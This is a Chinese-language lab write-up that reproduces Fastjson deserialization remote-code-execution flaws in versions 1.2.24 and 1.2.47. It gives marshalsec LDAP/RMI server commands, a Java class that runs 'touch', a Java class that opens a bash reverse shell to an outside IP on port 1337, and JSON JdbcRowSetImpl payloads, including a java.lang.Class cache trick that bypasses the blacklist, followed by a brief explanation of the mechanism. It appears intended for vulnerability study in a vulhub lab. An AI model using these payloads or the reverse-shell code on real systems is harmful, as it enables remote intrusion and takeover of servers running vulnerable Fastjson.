目录
1.2.24 RCE CVE-2017-18349
复现流程
原理分析
1.2.47 RCE CNVD-2019-22238
复现流程
原理分析
漏洞探测
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473
LinuxTouch.java
public class LinuxTouch {
public LinuxTouch(){
try{
Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
LinuxTouch e = new LinuxTouch();
}
}
效果是在靶机临时目录下创建一个success文件
payload:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://124.222.136.33:9473/suibian",
"autoCommit":true
}
}
发现python启动的http服务接收到字节码请求
再看靶机容器的/tmp下,成功创建success文件
1、序列化字符准备类名、dataSourceName属性和autoCommit属性
2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
3、setAutoCommit()调用connect()
4、connect()调用lookup()连接到LDAP/RMI服务器
5、下载恶意代码到本地,执行,攻击发生
vulhub启动靶场
用marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://124.222.136.33:8089/#LinuxRevers" 9473
用python启动HTTP服务,存放恶意字节码(LinuxRevers.class)
LinuxRevers.java
public class LinuxRevers {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
效果是反弹shell给1337端口
监听1337端口
payload:
{"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://124.222.136.33:9473/suibian", "autoCommit":true
}
}
发现marshalsec转发请求,python启动的http服务接收到字节码请求
1337端口成功反弹shell
autoTypeSupport为true时,fastjson首先判断类是否在白名单内,命中则加载该类
接着判断类是否在黑名单内且TypeUtils.mappings中没有该类缓存,才抛出异常。
接着继续尝试在TypeUtils.mappings
中查找缓存的class
我们的利用方法就是先将恶意类加入到mappings中,以此绕过黑名单的检测,在利用恶意类进行攻击